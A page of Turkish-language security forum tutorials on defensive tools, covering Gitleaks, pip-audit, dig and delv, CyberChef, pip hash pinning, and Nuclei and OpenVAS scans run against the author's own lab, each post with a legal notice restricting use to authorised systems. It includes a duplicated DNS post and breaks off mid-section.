TurkTeam | Türk Siber Güvenlik Topluluğu - Araç Tanıtım ve Eğitimleri

Gitleaks ile Kod Depolarında Sızan Sır Avı: CI'ya Entegre Pratik Rehber

Sun, 25 Oct 2026 11:48:30 +0300

Selamlar,

Kaynak kod depolarına yanlışlıkla işlenmiş API anahtarları, parolalar ve token'lar en yaygın sızıntı nedenlerinden biri. Bu rehberde, açık kaynak sır tarama aracı Gitleaks ile depolarınızı nasıl tarayacağınızı, pre-commit ile sızıntıyı kaynakta nasıl durduracağınızı ve CI'ya nasıl entegre edeceğinizi adım adım anlatıyorum. (Yalnızca kendi veya yetkili olduğunuz depolarda kullanın.)

Konuda anlatılacaklar

Gitleaks nedir?
Kurulum
Depo tarama
Git geçmişini tarama
pre-commit hook
CI entegrasyonu ve ipuçları

1. Gitleaks nedir?
Gitleaks, Go ile yazılmış, dosyalarda ve git geçmişinde parola, anahtar ve token gibi sabit kodlanmış sırları tespit eden bir araç. Düzenli ifade (regex) ve entropi tabanlı kurallarla çalışır; kendi kurallarınızı .gitleaks.toml ile ekleyebilirsiniz.

2. Kurulum

Kod:
# Go ile
go install github.com/gitleaks/gitleaks/v8@latest
# macOS (Homebrew)
brew install gitleaks
# Docker
docker pull zricethezav/gitleaks:latest

3. Depo tarama
Çalışma dizinindeki dosyaları (git geçmişi olmadan) taramak:

Kod:
gitleaks dir . --report-path gitleaks-report.json -v

Bir bulgu örneği şu alanları içerir: kural adı, dosya, satır, commit ve gizli değerin kısmen maskelenmiş hali.

4. Git geçmişini tarama
Sırlar genelde eski commit'lerde saklıdır. Tüm geçmişi taramak:

Kod:
gitleaks git . -v --report-path history-report.json

Belirli bir aralık:

Kod:
gitleaks git . --log-opts="--since=2026-01-01" -v

5. pre-commit hook
Sızmayı kaynakta durdurmanın en iyi yolu, commit öncesi taramak. .pre-commit-config.yaml:

Kod:
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.0.0
    hooks:
      - id: gitleaks

Ardından:

Kod:
pre-commit install

6. CI entegrasyonu
GitHub Actions örneği:

Kod:
name: gitleaks
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2

Önemli ipucu: fetch-depth: 0 verin ki tüm geçmiş çekilsin; aksi halde eski commit'lerdeki sırlar kaçar.

İpuçları

Yanlış pozitifleri yönetin. .gitleaksignore dosyasına bulgu parmak izini ekleyerek bilinen güvenli bulguları susturabilirsiniz.
Sır bulunduysa sadece silmek yetmez. Sızan her anahtarı/token'ı iptal edip yeniden üretin; geçmişte kaldığı için hâlen geçerlidir.
Kendi kurallarınızı ekleyin. Kuruma özgü token formatları için .gitleaks.toml kullanın.

Sonuç
Gitleaks, sır sızıntısını hem geçmişte avlamak hem de gelecekte önlemek için hafif ve etkili bir araç. En büyük kazanım, pre-commit + CI ile sızıntıyı daha repoya girmeden durdurmak. Siz depolarınızda sır taraması yapıyor musunuz?

Yasal uyarı
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.

Kaynaklar

16-t16-gitleaks-rehberi.png (Dosya Boyutu: 115.36 KB / İndirme Sayısı: 1)

pip-audit ile Python Ortamı Tarama: Pillow Haftasında Pratik Rehber

Sat, 24 Oct 2026 11:34:19 +0300

Selamlar,

Bu hafta Pillow (CVE-2026-112900) ve LiteLLM tedarik zinciri derken Python bağımlılık envanteri yeniden gündeme geldi. pip-audit, PyPI/OSV üzerinden bilinen açıklara karşı ortamınızı veya requirements dosyanızı tarayan resmiye yakın, bakımı süren bir araç. Bu rehber kurulumu, ilk taramayı ve CI'ya eklemeyi adım adım anlatıyor.

Konuda anlatılacaklar

Kurulum
Ortam ve requirements taraması
Çıktı formatları
--fix ve dikkat edilecekler
CI örneği

1. Kurulum
Python 3.10+ gerekir:

Kod:
python3 -m pip install -U pip-audit
pip-audit --version

2. İlk tarama

Kod:
# Aktif sanal ortam
pip-audit

# Yalnizca yerel (sistem paketlerini gizle)
pip-audit --local

# requirements dosyasi
pip-audit -r requirements.txt

# Proje dizini (pyproject.toml)
pip-audit .

3. Çıktı formatları

Kod:
pip-audit -f columns
pip-audit -f json -o audit.json
pip-audit -f markdown
pip-audit --desc --aliases

JSON çıktıyı SIEM veya ticket sistemine beslemek kolaydır.

4. --fix ve sınırlar

Kod:
pip-audit --fix --dry-run   # ne yapacagini gosterir
pip-audit --fix             # bilinen duzeltmesi olanlari yukseltmeye calisir

Önemli: pip-audit zararlı paketi tespit motoru değildir; bilinen CVE/advisory listesine bakar. "pip install etmeyeceğiniz şeyi pip-audit etmeyin" güvenlik modeli geçerlidir. Hash'li requirements ile --require-hashes tekrarlanabilir denetim sağlar.

5. CI örneği (GitHub Actions)

Kod:
jobs:
  pip-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install pip-audit
      - run: pip-audit -r requirements.txt

Resmi GitHub Action da var: pypa/gh-action-pip-audit. Pillow 13.0.0 gibi güvenlik sürümlerini kaçırmamak için bu taramayı PR kapısına koyun.

Python projelerinizde bağımlılık taramasını CI'da zorunlu tutuyor musunuz?

Yasal uyarı
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.

Kaynaklar

18-k03-pip-audit-rehber.png (Dosya Boyutu: 110.98 KB / İndirme Sayısı: 2)

dig ve delv ile DNS Sorgulama: Kayıt Türleri, DNSSEC Doğrulama ve Sorun Giderme

Fri, 23 Oct 2026 11:39:37 +0300

Selamlar,

BIND 9 açığı (CVE-2026-94300) gündemdeyken DNS araçlarına sağlam bir giriş yapalım. dig ve delv, BIND projesinin parçası olan ve neredeyse her Linux dağıtımında bulunan iki sorgu aracı. dig her şeyi ham olarak gösterir; delv ise yanıtları DNSSEC zinciriyle doğrulamaya odaklanır. Bu rehberdeki tüm örnekleri kendi alan adlarınızda veya herkese açık örnek alan adlarında güvenle deneyebilirsiniz.

Konuda anlatılacaklar

Kurulum
dig temelleri ve çıktıyı okumak
Kayıt türleri: A, AAAA, MX, TXT, NS, CAA
+trace ile çözümleme yolunu izlemek
delv ile DNSSEC doğrulama
Sık kullanılan sorun giderme senaryoları

Kurulum

Kod:
# Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v

dig temelleri

Kod:
dig example.com

Çıktıda bakılacak yerler:

status: NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).
flags: qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).
ANSWER SECTION: kayıt ve TTL değeri.
SERVER: yanıtı hangi çözümleyicinin verdiği.

Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:

Kod:
dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer

Kayıt türleri

Kod:
dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu

Kendi alan adınızda CAA kaydı yoksa, kurallara uyan herhangi bir CA sizin adınıza sertifika verebilir. CAA kaydıyla yalnızca kullandığınız CA'ları yetkilendirmek, yanlış veya sahte sertifika talebine karşı ucuz bir sertleştirmedir.

+trace ile çözümleme yolu

Kod:
dig +trace ornek.com

Kökten (.) başlayıp TLD'ye, oradan yetkili sunucuya kadar her adımı gösterir. "Bazı yerlerden çözülüyor, bazı yerlerden çözülmüyor" sorunlarında yanlış NS delegasyonunu bulmanın en hızlı yolu budur.

delv ile DNSSEC doğrulama

Kod:
delv example.com
delv ornek.com A +rtrace

Başarılı doğrulamada çıktının başında "; fully validated" görürsünüz; imzasız zone'larda "; unsigned answer". dig ile de DO bitini isteyip ad bayrağına ve RRSIG kayıtlarına bakabilirsiniz:

Kod:
dig +dnssec example.com

Sorun giderme senaryoları

Yeni kayıt görünmüyor: Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.
SERVFAIL ama başka çözümleyicide çalışıyor: dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.
TCP/büyük yanıt sorunları: dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.

Kod:
dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp

Hatırlatma: Başkasına ait DNS sunucularında zone transferi (AXFR) denemeleri izinsiz tarama sayılabilir; bu tür testleri yalnızca kendi sunucularınızda yapın.

DNS sorun gidermede en çok hangi dig seçeneğini kullanıyorsunuz? Favori tek satırlıklarınızı ekleyin.

Yasal uyarı
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.

Kaynaklar

15-b05-dig-delv-dns.png (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 8)

dig ve delv ile DNS Sorgulama: Kayıt Türleri, DNSSEC Doğrulama ve Sorun Giderme

Fri, 23 Oct 2026 11:35:43 +0300

Kurulum
dig temelleri ve çıktıyı okumak
Kayıt türleri: A, AAAA, MX, TXT, NS, CAA
+trace ile çözümleme yolunu izlemek
delv ile DNSSEC doğrulama
Sık kullanılan sorun giderme senaryoları

Kurulum

Kod:
# Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v

dig temelleri

Kod:
dig example.com

Çıktıda bakılacak yerler:

status: NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).
flags: qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).
ANSWER SECTION: kayıt ve TTL değeri.
SERVER: yanıtı hangi çözümleyicinin verdiği.

Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:

Kod:
dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer

Kayıt türleri

Kod:
dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu

Kod:
dig +trace ornek.com

Kod:
delv example.com
delv ornek.com A +rtrace

Kod:
dig +dnssec example.com

Sorun giderme senaryoları

Yeni kayıt görünmüyor: Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.
SERVFAIL ama başka çözümleyicide çalışıyor: dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.
TCP/büyük yanıt sorunları: dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.

Kod:
dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp

15-b05-dig-delv-dns.png (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 4)

CyberChef Sıfırdan: SOC ve CTF için Tarayıcıda İsviçre Çakısı

Thu, 22 Oct 2026 11:32:36 +0300

Selamlar,

Base64, hex, gzip, XOR, JWT parçalama, timestamp çevirme... SOC analisti veya CTF oyuncusu bu işlemleri günde onlarca kez yapar. GCHQ'nun açık kaynak aracı CyberChef bunları sürükle-bırak bir "tarif" (recipe) olarak tarayıcıda birleştirmenizi sağlar. Önemli güvenlik özelliği: işlemlerin hiçbiri CyberChef sunucusuna gitmez; her şey sizin tarayıcınızda, sizin bilgisayarınızda çalışır.

Konuda anlatılacaklar

Arayüzün dört ana alanı
Yerel kurulum: Docker ile
İlk tarifler: Base64, hex+gzip, Magic
SOC / CTF kullanım senaryoları

Arayüz
README'ye göre dört ana alan:

Input (sağ üst): metin veya dosya
Output (sağ alt): sonuç
Operations (sol): kategorili işlem listesi / arama
Recipe (orta): sürüklediğiniz işlemler ve parametreleri

Auto Bake açıksa input veya tarif değişince çıktı hemen üretilir. Breakpoint koyup adım adım ilerleyebilir, tarifleri yerel depolamaya kaydedebilir, URL hash ile paylaşabilirsiniz (#recipe=...&input=...).

Yerel kurulum (Docker)
Hassas veriyi genel web sitesine yapıştırmak istemiyorsanız yerelde çalıştırın:

Kod:
# Onceden derlenmis imaj
docker run --rm -it -p 8080:8080 ghcr.io/gchq/cyberchef:latest
# Tarayicida: http://localhost:8080

Kaynaktan build için Node.js v24 gerekir; Docker yolu toolchain istemez. README, CyberChef'in tamamen istemci tarafında çalıştığını ve tam bir kopyasının indirilip kapalı ağda / VM'de kullanılabileceğini özellikle vurgular.

İlk tarifler

From Base64: Operations'tan sürükleyin, input'a kodlanmış metni yapıştırın.
From Hex -> Gunzip: Hexdump'lanmış sıkıştırılmış veriyi açmak için iki işlemli tarif.
Magic: CyberChef, verinin hangi kodlamalar altında olabileceğini otomatik tahmin etmeye çalışır; Output'taki sihir ikonuna tıklayınca uygun işlemi önerir.

SOC / CTF senaryoları

Oltalama ekindeki PowerShell'in -EncodedCommand parametresini UTF-16LE Base64'ten çözmek
DNS veya HTTP üzerinden exfil edilen hex parçalarını birleştirip Gunzip etmek
JWT'nin header/payload kısmını (imza doğrulaması olmadan) okumak - yalnızca inceleme
Timestamp yığınını insan okur tarihe çevirmek
Basit XOR / tekrarlayan anahtar denemeleri (CTF crypto)

Kod:
# Derin baglanti ornegi (URL hash)
# https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=SGVsbG8=

Hassas müşteri verisini genel instance'a yapıştırmayın; Docker ile yerel kopya kullanın. CyberChef bir çözümleyici değildir; çıktıyı her zaman bağlamıyla doğrulayın.

En sık kullandığınız CyberChef tarifi nedir? URL'sini (hassas veri olmadan) paylaşın.

Yasal uyarı
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.

Kaynaklar

15-b05-cyberchef.png (Dosya Boyutu: 108.65 KB / İndirme Sayısı: 9)

pip --require-hashes: LiteLLM Sonrası Python Tedarik Zincirini Sabitlemek

Thu, 22 Oct 2026 11:26:31 +0300

Selamlar,

LiteLLM 1.107.0 olayından sonra birçok ekip aynı soruyu soruyor: "pip install litellm" gibi yüzen sürümler üretimde nasıl kilitlenir? Cevabın büyük kısmı pip'in resmi Secure installs rehberinde: hash-checking mode ve yalnızca ikili paket (binary) kurulum. Bu yazıda kendi labınızda adım adım uygulayabileceğiniz bir sabitleme düzeni kuruyoruz.

Konuda anlatılacaklar

Hash-checking mode ne yapar, ne yapmaz?
Gereksinim dosyasına hash nasıl eklenir?
--only-binary :all: ile kaynak dağıtımları kapatmak
Sık yapılan hatalar

Hash-checking mode
pip varsayılan olarak uzak müdahaleye karşı kontrol yapmaz ve dağıtımdaki kodu çalıştırır. Hash-checking mode açıldığında requirements.txt içine gömdüğünüz yerel hash'ler hem uzaktan oynama hem ağ sorunlarına karşı koruma sağlar. pip belgelerine göre bu bir "hepsi ya da hiç" düzenidir: herhangi bir gereksinime --hash eklemek modu global olarak etkinleştirir.

Ek kısıtlar:

Tüm gereksinimlerin hash'i olmalı (kısmi hashed dosya, hash'siz bir bağımlılıktan kötü kod sokulmasına izin verir).
Tüm bağımlılıkların da hash'i olmalı.
Gereksinimler sabitlenmeli (==, URL veya dosya yolu); aksi halde yeni bir sürüm yayınlandığında hash uyuşmazlığı sürprizi yaşarsınız.

Lab: hash'li requirements üretmek

Kod:
# Temiz bir venv
python3 -m venv /tmp/secpip && source /tmp/secpip/bin/activate
python -m pip install -U pip
# Once surumleri sabitle
cat > /tmp/reqs.in <<'E'
requests==2.32.3
urllib3==2.2.3
certifi==2026.10.19
E
# Hash'leri bootstrap etmek icin --require-hashes ile deneme;
# pip, indirdigi paketlerin hash'ini gosterir
python -m pip download -r /tmp/reqs.in -d /tmp/wheels
python -m pip hash /tmp/wheels/*.whl

Elde ettiğiniz hash'leri requirements.txt'ye şöyle yazarsınız:

Kod:
requests==2.32.3 \
  --hash=sha256:
urllib3==2.2.3 \
  --hash=sha256:
certifi==2026.10.19 \
  --hash=sha256:

Kurulum:

Kod:
python -m pip install --require-hashes --only-binary :all: -r requirements.txt

--require-hashes, hash'siz bir requirements dosyasını deploy betiklerinde reddetmek için de kullanılır. --only-binary :all: kaynak dağıtımlarını (sdist) kapatır; saldırganın build sırasında kod enjekte etmesi daha zorlaşır.

LiteLLM bağlamı
LiteLLM olayında zararlı, wheel içindeki .data/purelib/ yoluyla site-packages'e düşmüştü. Hash sabitleme, beklediğiniz wheel'in bayt-bayt aynısı gelmesini sağlar; farklı bir wheel aynı sürüm numarasıyla gelse bile hash uyuşmazlığı kurulumunu durdurur. "latest" Docker etiketinden kaçınmak da aynı disiplinin konteyner karşılığıdır: imajı digest ile çekin.

Sık hatalar

Yalnızca üst düzey paketi sabitleyip bağımlılıkları açık bırakmak
python setup.py install / easy_install kullanmak (pip'in kontrollerini baypas eder)
Hash'i PyPI URL fragment'ındaki uzak hash'e güvenmek; pip bunu indirme bütünlüğü için kullanır ama yerel --require-hashes talebini karşılamaz
Geliştirme ortamında hash kullanıp CI/CD'de unutmak

Sizin CI pipeline'ınızda --require-hashes var mı? Yoksa engel nedir?

Yasal uyarı
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.

Kaynaklar

11-b01-pip-hash.png (Dosya Boyutu: 115.73 KB / İndirme Sayısı: 4)

Nuclei ile Şablon Tabanlı Zafiyet Tarama: İzinli Labda İlk Çalıştırma

Wed, 21 Oct 2026 11:24:56 +0300

Selam,

Nuclei, ProjectDiscovery'nin şablon tabanlı tarayıcısı. CVE, misconfig, exposure... YAML şablonlarla hızlı ve tekrarlanabilir. Bu yazıda resmi dokümantasyona dayanarak izinli labda ilk koşumu, filtreleri ve rate-limit'i anlatıyorum. İnternette rastgele tarama yok.

Kurulum (özet)

Kod:
# Go kurulu ortamda
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -version
nuclei -update-templates

İlk koşular

Kod:
# Tek hedef (kendi labınız)
nuclei -u https://dvwa.lab.local
# Liste
nuclei -l targets.txt -severity critical,high -o findings.txt
# Belirli dizin / etiket
nuclei -u https://juice.lab.local -t http/cves/ -tags cve

Varsayılan şablonların bir kısmı .nuclei-ignore ile kapalıdır; headless/fuzz/code şablonları ilgili bayrak olmadan çalışmaz. Bu, yanlışlıkla agresif taramayı azaltır.

Filtreler

-tags cve
-severity critical,high
-author ...
-tc ile DSL koşulları (ör. contains(tags,'ssrf'))

Hız ve nezaket

Kod:
nuclei -l targets.txt -rate-limit 50 -c 10 -bulk-size 10 -H "X-BugBounty: lab-test"

rate-limit global tavanı belirler. Bug bounty'de programın trafik tanımlama başlığını ekleyin. Interactsh OAST şablonları için -ni ile kapatabilirsiniz.

CI notu
Şablonları pin'leyin; her pipeline'da "latest" çekmek sürpriz üretir. Sonuçları JSONL/SARIF export edip issue tracker'a bağlayabilirsiniz (-rc). Passive modda kaydedilmiş HTTP yanıtları üzerinde de koşu mümkün.

Yasal uyarı
Yalnızca yazılı izinli kapsam. TCK 243-245. Nuclei bir otomasyon silahıdır; kapsam dışına çıkmayın.

Kaynaklar

Şablon yazma notu
Kendi iç ürününüz için küçük bir HTTP matcher şablonu yazmak, genel CVE şablonundan daha değerlidir. id, info.severity, matchers-condition alanlarını temiz tutun; false positive'i labda eleyin. İmzasız şablon politikasını (-dut) bilinçli seçin.

Uygulamada sık gördüğüm hatalar
Birçok ekip yamayı "planlandı" diye işaretleyip internete açık yüzeyde günlerce bekletiyor. İkinci sık hata: yalnızca CVE numarasına bakıp zincir etkisini görmemek. Üçüncü hata: yama sonrası log ve dosya bütünlüğüne bakmamak; oysa yama öncesi sömürü olmuş olabilir. Bu üç noktayı kendi kontrol listenize eklemenizi öneririm.

Ekip içi iletişim şablonu
Yönetime veya müşteriye yazarken teknik jargonu azaltın: hangi varlık etkilendi, internete açık mı, yama var mı, geçici azaltma ne, doğrulama nasıl yapılacak. Tek paragrafta risk + eylem + sahiplik yazmak, uzun CVE özetinden daha hızlı karar aldırır.

Lab not defteri
Bu konuyu kendi defterime şu başlıklarla işliyorum: tarih, kaynak URL, etkilenen ürün/sürüm, internete açık mı, yama komutu, geri alma planı, IOC listesi, kime haber verildi. Siz de benzer basit bir şablon tutarsanız bir ay sonra "ne yapmıştık?" sorusu cevapsız kalmaz.

İzleme ve doğrulama
Değişiklikten sonra en az bir negatif ve bir pozitif kontrol tanımlayın. Negatif: alarm boş yere düşmemeli. Pozitif: bilinen kötü örneği veya beklenen log satırını yakalamalı. İkisini de kaydedin; aksi halde "sanırım düzeldi" ile yetinirsiniz.

Sonuç
Özetle: kaynağı okuyun, kendi envanterinize bağlayın, yama veya azaltmayı uygulayın, sonra doğrulayın. TurkTeam'de yorumlarda kendi ortamınızdan (ürün adı ve sürüm yeter, hassas IP yazmayın) kısa deneyim paylaşırsanız herkes faydalanır.

Adım adım kontrol listesi (kopyala-yapıştır)

Kaynak duyuruyu ve varsa üretici güvenlik sayfasını arşivleyin (PDF/HTML).
Envanterde etkilenen ürün var mı diye CMDB / agent raporu / netscan ile bakın.
İnternete açık mı, yoksa yalnızca iç ağda mı? Buna göre SLA seçin.
Yama veya yapılandırma azaltmasını stagingde deneyin.
Üretim penceresinde uygulayın; değişiklik kaydı açın.
Servis sağlık kontrolü + log doğrulaması yapın.
Gerekliyse IOC avı veya compromise assessment planlayın.
Kapanış notunu yazın: sürüm, tarih, kim onayladı.

Sık sorulanlar
Sadece okumak yeter mi? Hayır. Okuduktan sonra envanter satırına bağlanmayan bilgi operasyonel değildir.
PoC çalıştırmalı mıyım? Yalnızca izole lab ve yazılı izinle. İnternette rastgele deneme hem etik dışı hem yasadışı olabilir.
WAF / EDR tek başına kurtarır mı? Katmanlı savunma işe yarar ama yamanın yerini tutmaz; özellikle kimlik doğrulamasız RCE sınıflarında.
Ne zaman yönetime çıkmalıyım? İnternete açık kritik yüzey, aktif sömürü istihbaratı veya veri sızıntısı şüphesi varsa gecikmeden.

Örnek komut defteri

Kod:
# Tarih damgası ve ortam notu
date -Is
hostnamectl 2>/dev/null | head -5 || true
# Ağ dinleme özeti (lab)
ss -lntp | head -30
# Son reboot / güncelleme ipucu (systemd)
who -b 2>/dev/null || true

Bu komutlar tanı koymaz; değişiklik öncesi/sonrası basline almak için kullanın.

İlgili TurkTeam bölümleri
Bu yazıyı okuduktan sonra aynı kategorideki komşu konulara ve Soru-Cevap bölümüne kendi lab çıktınızı (hassas veri olmadan) taşıyabilirsiniz. Kısa ekran görüntüsü veya komut çıktısı, uzun teoriden daha çok işe yarar.

Kapanış ve yasal çerçeve
TurkTeam white-hat bir topluluktur. Anlatılan teknikler eğitim, savunma ve izinli test içindir. Başkalarının sistemlerinde izinsiz tarama, sömürü, veri çalma veya "hack hizmeti" sunmak forum kurallarına ve TCK 243, 244, 245 maddelerine aykırıdır. Kendi laboratuvarınızı izolasyonla kurun; üretim verisi kullanmayın. Kaynaklardaki bağlantıları birincil referans kabul edin; bu yazı özet ve yol göstericidir, üretici duyurusunun yerini tutmaz.

Kişisel deneyim notu
Ben benzer konuları işlerken önce resmi duyuruyu iki kez okuyup sonra labda en küçük yeniden üretilebilir adımı arıyorum. Yeniden üretemiyorsam bile envanter ve yama doğrulamasını aynı gün bitirmeye çalışıyorum. Siz de "bugün tek iş" diye bir satır seçin: ya yamayı uygulayın ya da etkilenen varlık olmadığını kanıtlayın. İkisi de geçerli kapanıştır.

Okuma listesi

Üretici / araştırmacı birincil yazısı (kaynakçada)
CISA KEV veya CERT duyurusu varsa o
Kendi iç runbook'unuzun ilgili maddesi

Üçünden fazlasını aynı anda açmak yerine birini bitirip not alın; aksi halde tab kaybı başlar.

11-b01-nuclei.png (Dosya Boyutu: 103.96 KB / İndirme Sayısı: 9)

OpenVAS / Greenbone ile İlk İzinli Tarama: Kurulum ve Rapor Okuma

Mon, 19 Oct 2026 00:44:58 +0300

Selamlar,

Açık kaynak zafiyet tarayıcı denince akla hâlâ OpenVAS geliyor; proje bugün Greenbone Community Edition / GVM çatısı altında. Bu yazıda ev labımda GVM'i ayağa kaldırıp ilk izinli taramayı çalıştırma ve raporu okuma notlarımı paylaşıyorum. Hedef yalnızca kendi VM'lerim.

Mimariyi kısaca tanıyın

gvmd: yönetici daemon
ospd-openvas: tarayıcı sarmalayıcı
openvas-scanner: asıl motor
gsad: web arayüzü (Greenbone Security Assistant)
Feed'ler: NVT, SCAP, CERT — kalite bunların güncelliğine bağlı

Kurulum (Docker ile pratik yol)
Resmi Greenbone community container dokümantasyonunu takip etmek, kaynak derlemekten çok daha az acılı. Labımda docker compose ile ayağa kaldırdım; ilk feed senkronu uzun sürer (saat düzeyinde olabilir). Sabır şart.

Kod:
# Örnek: feed durumunu kontrol (kuruluma göre komut değişir)
docker compose ps
# Web arayüzü genelde https://localhost:9392

İlk girişten sonra varsayılan parolayı değiştirin; arayüzü internete açmayın.

İlk hedef ve görev

Configuration > Targets: lab IP veya CIDR (ör. 10.10.10.0/28)
Credentials (opsiyonel): SSH/SMB kimliği verirseniz authenticated scan derinleşir
Tasks > New Task: tarama profili seçin

Profil seçimi:

Full and fast: günlük lab için dengeli
Discovery: yalnızca keşif
Full and very deep: uzun ve gürültülü; bilinçli kullanın

Raporu okumak
Sonuçlarda CVSS skoru, QOD (Quality of Detection) ve CVE listesi gelir. Pratik filtrelerim:

Önce QOD'u yüksek + CVSS kritik/high olanlar
Sonra "False Positive" işaretleme disiplini (yoksa bir sonraki taramada aynı gürültü)
CVE'yi NVD ve üretici bülteniyle doğrula; tarayıcı yanlış pozitif üretebilir
Authenticated bulgular (eksik yama, zayıf cipher) genelde daha aksiyoneldir

CLI ile hızlı bakış
Ortamınıza göre gvm-cli / omp benzeri araçlarla görev başlatılabilir. Önemli olan otomasyonda kimlik bilgilerini düz metin dosyada bırakmamaktır.

Sınırlar: tarayıcı pentest değildir
GVM bilinen imzaları arar. İş mantığı açıkları, zincirleme exploit, fiziksel güvenlik bu aracın işi değildir. Raporu "otomatik bulgu listesi" olarak görün; pentest metodolojisinin keşif/zafiyet analizi aşamasına girdi sağlar.

Performans ipuçları

Feed güncellemesini geceye bırakın
Eşzamanlı hedef sayısını lab kaynaklarına göre sınırlayın
Firewall'da tarayıcı IP'sini allowlist'e almak (izinli pentestte) yanlış pozitif düşürür

Kaynaklar

Greenbone Community Documentation
OpenVAS / GVM GitHub org
NIST NVD (CVE doğrulama)

Siz feed senkronunda en çok hangi adımda takıldınız? Container log'unda gördüğünüz tipik hataları da yazabilirsiniz.

Authenticated scan değeri
Kimliksiz tarama çoğunlukla sürüm ve port bulur. SSH/WinRM/SMB hesabı verdiğinizde eksik yama, yerel kullanıcı politikası, zayıf servis yapılandırması çıkar. Labda ayrı bir "scanner" hesabı açın; domain admin vermeyin. Başarıyla giriş yapılamazsa rapor "auth failed" diye yalan yanlış critical üretmesin diye görev logunu kontrol edin.

Raporu iş biletleme
CSV/XML dışa aktarıp her kritik CVE için: varlık sahibi, yama penceresi, geçici mitigeasyon (WAF imzası, port kapatma). Tarayıcı skoru tek başına öncelik değildir; internete açık + exploit public ise yukarı çekin.

Doğrulama senaryosu
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.

Lab disiplini
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.

Runbook'a taşımak
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.

Ölçüm ve alarm sağlığı
